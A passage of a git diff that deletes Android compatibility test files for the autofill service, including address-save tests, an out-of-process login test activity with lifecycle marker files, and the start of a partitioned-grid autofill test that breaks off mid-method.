-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SF"))
-                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                    .setField(ID_ADDRESS2, "Simpsons House")
-                    .build()
-        );
-    }
-
-    private void saveWhenUserFilledDatasetFields(@Nullable String[] requiredIds,
-            @Nullable String[] optionalIds, @NonNull Runnable changes, boolean expectSaveUi,
-            @NonNull CannedDataset...datasets) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, requiredIds);
-        if (optionalIds != null) {
-            response.setOptionalSavableIds(optionalIds);
-        }
-        for (CannedDataset dataset : datasets) {
-            response.addDataset(dataset);
-        }
-        sReplier.addResponse(response.build());
-
-        // Trigger auto-fill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Manually fill it.
-        mActivity.syncRunOnUiThread(changes);
-
-        // ...then tap save.
-        mActivity.save();
-
-        // Make sure the snack bar is shown as expected.
-        if (expectSaveUi) {
-            mUiBot.assertSaveShowing(SAVE_DATA_TYPE_ADDRESS);
-        } else {
-            mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
-        }
-    }
-
-    @Test
-    public void testDontShowSaveUiWhenUserClearedAutofilledFieldThatIsRequired() throws Exception {
-        // Set service.
-        enableService();
-
-        mActivity.expectAutoFill("742 Evergreen Terrace", "Simpsons House",
-                "Springfield", "Yellow");
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_ADDRESS2)
-                .setOptionalSavableIds(ID_CITY)
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("SF"))
-                        .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                        .setField(ID_ADDRESS2, "Simpsons House")
-                        .setField(ID_CITY, "Springfield")
-                        .setField(ID_FAVORITE_COLOR, "Yellow")
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
-        sReplier.getNextFillRequest();
-
-        mUiBot.selectDataset("SF");
-        mActivity.assertAutoFilled();
-
-        // Clear the field.
-        mActivity.syncRunOnUiThread(() -> mActivity.mAddress2.setText(""));
-
-        // Trigger save...
-        mActivity.save();
-
-        // ...and make sure the snack bar is not shown.
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
-    }
-
-    @Test
-    public void testShowSaveUiWhenUserClearedAutofilledFieldThatIsOptional() throws Exception {
-        // Set service.
-        enableService();
-
-        mActivity.expectAutoFill("742 Evergreen Terrace", "Simpsons House",
-                "Springfield", "Yellow");
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_ADDRESS2)
-                .setOptionalSavableIds(ID_CITY)
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("SF"))
-                        .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                        .setField(ID_ADDRESS2, "Simpsons House")
-                        .setField(ID_CITY, "Springfield")
-                        .setField(ID_FAVORITE_COLOR, "Yellow")
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
-        sReplier.getNextFillRequest();
-
-        mUiBot.selectDataset("SF");
-        mActivity.assertAutoFilled();
-
-        // Clear the field.
-        mActivity.syncRunOnUiThread(() -> mActivity.mCity.setText(""));
-
-        // Trigger save...
-        mActivity.save();
-
-        // ...and make sure the snack bar is shown.
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
-
-        // Finally, assert values.
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS1),
-                "742 Evergreen Terrace");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS2),
-                "Simpsons House");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_CITY), "");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_FAVORITE_COLOR),
-                "Yellow");
-    }
-
-    @Test
-    public void testShowUpdateWhenUserChangedOptionalValueFromDatasetAndRequiredNotFromDataset()
-            throws Exception {
-        // Set service.
-        enableService();
-
-        // Address 2 will be required but not available
-        mActivity.expectAutoFill("742 Evergreen Terrace", null, "Springfield", "Yellow");
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_ADDRESS2)
-                .setOptionalSavableIds(ID_CITY)
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("SF"))
-                        .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                        .setField(ID_CITY, "Springfield")
-                        .setField(ID_FAVORITE_COLOR, "Yellow")
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
-        sReplier.getNextFillRequest();
-
-        mUiBot.selectDataset("SF");
-        mActivity.assertAutoFilled();
-
-        // Change required and optional field.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mAddress2.setText("Simpsons House");
-            mActivity.mCity.setText("Shelbyville");
-        });
-        // Trigger save...
-        mActivity.save();
-
-        // ...and make sure the snack bar is shown.
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
-
-        // Finally, assert values.
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS1),
-                "742 Evergreen Terrace");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS2),
-                "Simpsons House");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_CITY), "Shelbyville");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_FAVORITE_COLOR),
-                "Yellow");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
deleted file mode 100644
index ff955dd..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
+++ /dev/null
@@ -1,135 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.app.Activity;
-import android.content.Context;
-import android.os.Bundle;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import java.io.File;
-import java.io.IOException;
-
-/**
- * Simple activity showing R.layout.login_activity. Started outside of the test process.
- */
-public class OutOfProcessLoginActivity extends Activity {
-    private static final String TAG = "OutOfProcessLoginActivity";
-
-    private static OutOfProcessLoginActivity sInstance;
-
-    @Override
-    protected void onCreate(@Nullable Bundle savedInstanceState) {
-        Log.i(TAG, "onCreate(" + savedInstanceState + ")");
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.login_activity);
-
-        findViewById(R.id.login).setOnClickListener((v) -> finish());
-
-        sInstance = this;
-    }
-
-    @Override
-    protected void onStart() {
-        Log.i(TAG, "onStart()");
-        super.onStart();
-        try {
-            if (!getStartedMarker(this).createNewFile()) {
-                Log.e(TAG, "cannot write started file");
-            }
-        } catch (IOException e) {
-            Log.e(TAG, "cannot write started file: " + e);
-        }
-    }
-
-    @Override
-    protected void onStop() {
-        Log.i(TAG, "onStop()");
-        super.onStop();
-
-        try {
-            if (!getStoppedMarker(this).createNewFile()) {
-                Log.e(TAG, "could not write stopped marker");
-            } else {
-                Log.v(TAG, "wrote stopped marker");
-            }
-        } catch (IOException e) {
-            Log.e(TAG, "could write stopped marker: " + e);
-        }
-    }
-
-    @Override
-    protected void onDestroy() {
-        Log.i(TAG, "onDestroy()");
-        try {
-            if (!getDestroyedMarker(this).createNewFile()) {
-                Log.e(TAG, "could not write destroyed marker");
-            } else {
-                Log.v(TAG, "wrote destroyed marker");
-            }
-        } catch (IOException e) {
-            Log.e(TAG, "could write destroyed marker: " + e);
-        }
-        super.onDestroy();
-        sInstance = null;
-    }
-
-    /**
-     * Get the file that signals that the activity has entered {@link Activity#onStop()}.
-     *
-     * @param context Context of the app
-     * @return The marker file that is written onStop()
-     */
-    @NonNull public static File getStoppedMarker(@NonNull Context context) {
-        return new File(context.getFilesDir(), "stopped");
-    }
-
-    /**
-     * Get the file that signals that the activity has entered {@link Activity#onStart()}.
-     *
-     * @param context Context of the app
-     * @return The marker file that is written onStart()
-     */
-    @NonNull public static File getStartedMarker(@NonNull Context context) {
-        return new File(context.getFilesDir(), "started");
-    }
-
-   /**
-     * Get the file that signals that the activity has entered {@link Activity#onDestroy()}.
-     *
-     * @param context Context of the app
-     * @return The marker file that is written onDestroy()
-     */
-    @NonNull public static File getDestroyedMarker(@NonNull Context context) {
-        return new File(context.getFilesDir(), "destroyed");
-    }
-
-    public static void finishIt() {
-        Log.v(TAG, "Finishing " + sInstance);
-        if (sInstance != null) {
-            sInstance.finish();
-        }
-    }
-
-    public static boolean hasInstance() {
-        return sInstance != null;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivityFinisherReceiver.java b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivityFinisherReceiver.java
deleted file mode 100644
index b75785e..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivityFinisherReceiver.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.util.Log;
-
-/**
- * A {@link BroadcastReceiver} that finishes {@link OutOfProcessLoginActivity}.
- */
-public class OutOfProcessLoginActivityFinisherReceiver extends BroadcastReceiver {
-
-    private static final String TAG = "OutOfProcessLoginActivityFinisherReceiver";
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        Log.i(TAG, "Goodbye, unfinished business!");
-        OutOfProcessLoginActivity.finishIt();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
deleted file mode 100644
index 9b17dd4..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
+++ /dev/null
@@ -1,2281 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.GridActivity.ID_L1C1;
-import static android.autofillservice.cts.GridActivity.ID_L1C2;
-import static android.autofillservice.cts.GridActivity.ID_L2C1;
-import static android.autofillservice.cts.GridActivity.ID_L2C2;
-import static android.autofillservice.cts.GridActivity.ID_L3C1;
-import static android.autofillservice.cts.GridActivity.ID_L3C2;
-import static android.autofillservice.cts.GridActivity.ID_L4C1;
-import static android.autofillservice.cts.GridActivity.ID_L4C2;
-import static android.autofillservice.cts.Helper.UNUSED_AUTOFILL_VALUE;
-import static android.autofillservice.cts.Helper.assertHasFlags;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.assertValue;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.Helper.getMaxPartitions;
-import static android.autofillservice.cts.Helper.setMaxPartitions;
-import static android.service.autofill.FillRequest.FLAG_MANUAL_REQUEST;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.GridActivity.FillExpectation;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.content.IntentSender;
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.FillResponse;
-
-import org.junit.Test;
-
-/**
- * Test case for an activity containing multiple partitions.
- */
-@AppModeFull(reason = "Service-specific test")
-public class PartitionedActivityTest extends AbstractGridActivityTestCase {
-
-    @Test
-    public void testAutofillTwoPartitionsSkipFirst() throws Exception {
-        // Set service.
-        enableService();
-
-        // Prepare 1st partition.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
-                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-
-        // Trigger auto-fill on 1st partition.
-        focusCell(1, 1);
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.flags).isEqualTo(0);
-        final ViewNode p1l1c1 = assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
-        final ViewNode p1l1c2 = assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
-        assertWithMessage("Focus on p1l1c1").that(p1l1c1.isFocused()).isTrue();
-        assertWithMessage("Focus on p1l1c2").that(p1l1c2.isFocused()).isFalse();
-
-        // Make sure UI is shown, but don't tap it.
-        mUiBot.assertDatasets("l1c1");
-        focusCell(1, 2);
-        mUiBot.assertDatasets("l1c2");
-
-        // Now tap a field in a different partition
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
-                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
-                        .build())
-                .build();
-        sReplier.addResponse(response2);
-
-        // Trigger auto-fill on 2nd partition.
-        focusCell(2, 1);
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertThat(fillRequest2.flags).isEqualTo(0);
-        final ViewNode p2l1c1 = assertTextIsSanitized(fillRequest2.structure, ID_L1C1);
-        final ViewNode p2l1c2 = assertTextIsSanitized(fillRequest2.structure, ID_L1C2);
-        final ViewNode p2l2c1 = assertTextIsSanitized(fillRequest2.structure, ID_L2C1);
-        final ViewNode p2l2c2 = assertTextIsSanitized(fillRequest2.structure, ID_L2C2);
-        assertWithMessage("Focus on p2l1c1").that(p2l1c1.isFocused()).isFalse();
-        assertWithMessage("Focus on p2l1c2").that(p2l1c2.isFocused()).isFalse();
-        assertWithMessage("Focus on p2l2c1").that(p2l2c1.isFocused()).isTrue();
-        assertWithMessage("Focus on p2l2c2").that(p2l2c2.isFocused()).isFalse();
-        // Make sure UI is shown, but don't tap it.
-        mUiBot.assertDatasets("l2c1");
-        focusCell(2, 2);
-        mUiBot.assertDatasets("l2c2");
-
-        // Now fill them
-        final FillExpectation expectation1 = mActivity.expectAutofill()
-              .onCell(1, 1, "l1c1")
-              .onCell(1, 2, "l1c2");
-        focusCell(1, 1);
-        mUiBot.selectDataset("l1c1");
-        expectation1.assertAutoFilled();
-
-        // Change previous values to make sure they are not filled again
-        mActivity.setText(1, 1, "L1C1");
-        mActivity.setText(1, 2, "L1C2");
-
-        final FillExpectation expectation2 = mActivity.expectAutofill()
-                .onCell(2, 1, "l2c1")
-                .onCell(2, 2, "l2c2");
-        focusCell(2, 2);
-        mUiBot.selectDataset("l2c2");
-        expectation2.assertAutoFilled();
-
-        // Make sure previous partition didn't change
-        assertThat(mActivity.getText(1, 1)).isEqualTo("L1C1");
-        assertThat(mActivity.getText(1, 2)).isEqualTo("L1C2");
-    }
-
-    @Test
-    public void testAutofillTwoPartitionsInSequence() throws Exception {
-        // Set service.
-        enableService();
-
-        // 1st partition
-        // Prepare.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("Partition 1"))
-                        .setField(ID_L1C1, "l1c1")
-                        .setField(ID_L1C2, "l1c2")
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-        final FillExpectation expectation1 = mActivity.expectAutofill()
-                .onCell(1, 1, "l1c1")
-                .onCell(1, 2, "l1c2");
-
-        // Trigger auto-fill.
-        focusCell(1, 1);
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.flags).isEqualTo(0);
-
-        assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
-        assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Partition 1");
-
-        // Check the results.
-        expectation1.assertAutoFilled();
-
-        // 2nd partition
-        // Prepare.
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("Partition 2"))
-                        .setField(ID_L2C1, "l2c1")
-                        .setField(ID_L2C2, "l2c2")
-                        .build())
-                .build();
-        sReplier.addResponse(response2);
-        final FillExpectation expectation2 = mActivity.expectAutofill()
-                .onCell(2, 1, "l2c1")
-                .onCell(2, 2, "l2c2");
-
-        // Trigger auto-fill.
-        focusCell(2, 1);
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertThat(fillRequest2.flags).isEqualTo(0);
-
-        assertValue(fillRequest2.structure, ID_L1C1, "l1c1");
-        assertValue(fillRequest2.structure, ID_L1C2, "l1c2");
-        assertTextIsSanitized(fillRequest2.structure, ID_L2C1);
-        assertTextIsSanitized(fillRequest2.structure, ID_L2C2);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Partition 2");
-
-        // Check the results.
-        expectation2.assertAutoFilled();
-    }
-
-    @Test
-    public void testAutofill4PartitionsAutomatically() throws Exception {
-        autofill4PartitionsTest(false);
-    }
-
-    @Test
-    public void testAutofill4PartitionsManually() throws Exception {
-        autofill4PartitionsTest(true);
-    }
-
-    private void autofill4PartitionsTest(boolean manually) throws Exception {
-        // Set service.
-        enableService();
-
-        // 1st partition
-        // Prepare.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("Partition 1"))
-                        .setField(ID_L1C1, "l1c1")
-                        .setField(ID_L1C2, "l1c2")
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-        final FillExpectation expectation1 = mActivity.expectAutofill()
-                .onCell(1, 1, "l1c1")
-                .onCell(1, 2, "l1c2");
-
-        // Trigger auto-fill.
-        mActivity.triggerAutofill(manually, 1, 1);
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-
-        if (manually) {
-            assertHasFlags(fillRequest1.flags, FLAG_MANUAL_REQUEST);
-            assertValue(fillRequest1.structure, ID_L1C1, "");
-        } else {
-            assertThat(fillRequest1.flags).isEqualTo(0);
-            assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
-        }
-        assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Partition 1");
-
-        // Check the results.
-        expectation1.assertAutoFilled();
-
-        // 2nd partition
-        // Prepare.
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("Partition 2"))
-                        .setField(ID_L2C1, "l2c1")
-                        .setField(ID_L2C2, "l2c2")
-                        .build())
-                .build();
-        sReplier.addResponse(response2);
-        final FillExpectation expectation2 = mActivity.expectAutofill()
-                .onCell(2, 1, "l2c1")
-                .onCell(2, 2, "l2c2");
-
-        // Trigger auto-fill.
-        mActivity.triggerAutofill(manually, 2, 1);
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-
-        assertValue(fillRequest2.structure, ID_L1C1, "l1c1");
-        assertValue(fillRequest2.structure, ID_L1C2, "l1c2");
-        if (manually) {
-            assertHasFlags(fillRequest2.flags, FLAG_MANUAL_REQUEST);
-            assertValue(fillRequest2.structure, ID_L2C1, "");
-        } else {
-            assertThat(fillRequest2.flags).isEqualTo(0);
-            assertTextIsSanitized(fillRequest2.structure, ID_L2C1);
-        }
-        assertTextIsSanitized(fillRequest2.structure, ID_L2C2);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Partition 2");
-
-        // Check the results.
-        expectation2.assertAutoFilled();
-
-        // 3rd partition
-        // Prepare.
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("Partition 3"))
-                        .setField(ID_L3C1, "l3c1")
-                        .setField(ID_L3C2, "l3c2")
-                        .build())
-                .build();
-        sReplier.addResponse(response3);
-        final FillExpectation expectation3 = mActivity.expectAutofill()
-                .onCell(3, 1, "l3c1")
-                .onCell(3, 2, "l3c2");
-
-        // Trigger auto-fill.
-        mActivity.triggerAutofill(manually, 3, 1);
-        final FillRequest fillRequest3 = sReplier.getNextFillRequest();
-
-        assertValue(fillRequest3.structure, ID_L1C1, "l1c1");
-        assertValue(fillRequest3.structure, ID_L1C2, "l1c2");
-        assertValue(fillRequest3.structure, ID_L2C1, "l2c1");
-        assertValue(fillRequest3.structure, ID_L2C2, "l2c2");
-        if (manually) {
-            assertHasFlags(fillRequest3.flags, FLAG_MANUAL_REQUEST);
-            assertValue(fillRequest3.structure, ID_L3C1, "");
-        } else {
-            assertThat(fillRequest3.flags).isEqualTo(0);
-            assertTextIsSanitized(fillRequest3.structure, ID_L3C1);
-        }
-        assertTextIsSanitized(fillRequest3.structure, ID_L3C2);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Partition 3");
-
-        // Check the results.
-        expectation3.assertAutoFilled();
-
-        // 4th partition
-        // Prepare.
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("Partition 4"))
-                        .setField(ID_L4C1, "l4c1")
-                        .setField(ID_L4C2, "l4c2")
-                        .build())
-                .build();
-        sReplier.addResponse(response4);
-        final FillExpectation expectation4 = mActivity.expectAutofill()
-                .onCell(4, 1, "l4c1")
-                .onCell(4, 2, "l4c2");
-
-        // Trigger auto-fill.
-        mActivity.triggerAutofill(manually, 4, 1);
-        final FillRequest fillRequest4 = sReplier.getNextFillRequest();
-
-        assertValue(fillRequest4.structure, ID_L1C1, "l1c1");
-        assertValue(fillRequest4.structure, ID_L1C2, "l1c2");
-        assertValue(fillRequest4.structure, ID_L2C1, "l2c1");
-        assertValue(fillRequest4.structure, ID_L2C2, "l2c2");
-        assertValue(fillRequest4.structure, ID_L3C1, "l3c1");
-        assertValue(fillRequest4.structure, ID_L3C2, "l3c2");
-        if (manually) {
-            assertHasFlags(fillRequest4.flags, FLAG_MANUAL_REQUEST);
-            assertValue(fillRequest4.structure, ID_L4C1, "");
-        } else {
-            assertThat(fillRequest4.flags).isEqualTo(0);
-            assertTextIsSanitized(fillRequest4.structure, ID_L4C1);
-        }
-        assertTextIsSanitized(fillRequest4.structure, ID_L4C2);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Partition 4");
-
-        // Check the results.
-        expectation4.assertAutoFilled();
-    }
-
-    @Test
-    public void testAutofill4PartitionsMixManualAndAuto() throws Exception {
-        // Set service.
-        enableService();
-
-        // 1st partition - auto
-        // Prepare.
-        final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("Partition 1"))
-                        .setField(ID_L1C1, "l1c1")
-                        .setField(ID_L1C2, "l1c2")
-                        .build())
-                .build();
-        sReplier.addResponse(response1);
-        final FillExpectation expectation1 = mActivity.expectAutofill()
-                .onCell(1, 1, "l1c1")
-                .onCell(1, 2, "l1c2");
-
-        // Trigger auto-fill.
-        focusCell(1, 1);
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.flags).isEqualTo(0);
-
-        assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
-        assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Partition 1");
-
-        // Check the results.
-        expectation1.assertAutoFilled();
-
-        // 2nd partition - manual
-        // Prepare
-        // Must set text before creating expectation, and it must be a subset of the dataset values,
-        // otherwise the UI won't be shown because of filtering
-        mActivity.setText(2, 1, "l2");
-        final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("Partition 2"))
-                        .setField(ID_L2C1, "l2c1")
-                        .setField(ID_L2C2, "l2c2")
-                        .build())
-                .build();
-        sReplier.addResponse(response2);
-        final FillExpectation expectation2 = mActivity.expectAutofill()
-                .onCell(2, 1, "l2c1")
-                .onCell(2, 2, "l2c2");
-
-        // Trigger auto-fill.
-        mActivity.forceAutofill(2, 1);
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertHasFlags(fillRequest2.flags, FLAG_MANUAL_REQUEST);
-
-        assertValue(fillRequest2.structure, ID_L1C1, "l1c1");
-        assertValue(fillRequest2.structure, ID_L1C2, "l1c2");
-        assertValue(fillRequest2.structure, ID_L2C1, "l2");
-        assertTextIsSanitized(fillRequest2.structure, ID_L2C2);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Partition 2");
-
-        // Check the results.
-        expectation2.assertAutoFilled();
-
-        // 3rd partition - auto
-        // Prepare.
-        final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("Partition 3"))
-                        .setField(ID_L3C1, "l3c1")
-                        .setField(ID_L3C2, "l3c2")
-                        .build())
-                .build();
-        sReplier.addResponse(response3);
-        final FillExpectation expectation3 = mActivity.expectAutofill()
-                .onCell(3, 1, "l3c1")
-                .onCell(3, 2, "l3c2");
-
-        // Trigger auto-fill.
-        focusCell(3, 1);
-        final FillRequest fillRequest3 = sReplier.getNextFillRequest();
-        assertThat(fillRequest3.flags).isEqualTo(0);
-
-        assertValue(fillRequest3.structure, ID_L1C1, "l1c1");
-        assertValue(fillRequest3.structure, ID_L1C2, "l1c2");
-        assertValue(fillRequest3.structure, ID_L2C1, "l2c1");
-        assertValue(fillRequest3.structure, ID_L2C2, "l2c2");
-        assertTextIsSanitized(fillRequest3.structure, ID_L3C1);
-        assertTextIsSanitized(fillRequest3.structure, ID_L3C2);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Partition 3");
-
-        // Check the results.
-        expectation3.assertAutoFilled();
-
-        // 4th partition - manual
-        // Must set text before creating expectation, and it must be a subset of the dataset values,
-        // otherwise the UI won't be shown because of filtering
-        mActivity.setText(4, 1, "l4");
-        final CannedFillResponse response4 = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setPresentation(createPresentation("Partition 4"))
-                        .setField(ID_L4C1, "l4c1")
-                        .setField(ID_L4C2, "l4c2")
-                        .build())
-                .build();
-        sReplier.addResponse(response4);
-        final FillExpectation expectation4 = mActivity.expectAutofill()
-                .onCell(4, 1, "l4c1")
-                .onCell(4, 2, "l4c2");
-
-        // Trigger auto-fill.
-        mActivity.forceAutofill(4, 1);
-        final FillRequest fillRequest4 = sReplier.getNextFillRequest();
-        assertHasFlags(fillRequest4.flags, FLAG_MANUAL_REQUEST);
-
-        assertValue(fillRequest4.structure, ID_L1C1, "l1c1");
-        assertValue(fillRequest4.structure, ID_L1C2, "l1c2");
-        assertValue(fillRequest4.structure, ID_L2C1, "l2c1");
-        assertValue(fillRequest4.structure, ID_L2C2, "l2c2");
-        assertValue(fillRequest4.structure, ID_L3C1, "l3c1");
-        assertValue(fillRequest4.structure, ID_L3C2, "l3c2");
-        assertValue(fillRequest4.structure, ID_L4C1, "l4");
-        assertTextIsSanitized(fillRequest4.structure, ID_L4C2);
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Partition 4");
-
-        // Check the results.
-        expectation4.assertAutoFilled();
-    }
-
-    @Test
-    public void testAutofillBundleDataIsPassedAlong() throws Exception {
-        // Set service.
-        enableService();
-
-        final Bundle extras = new Bundle();
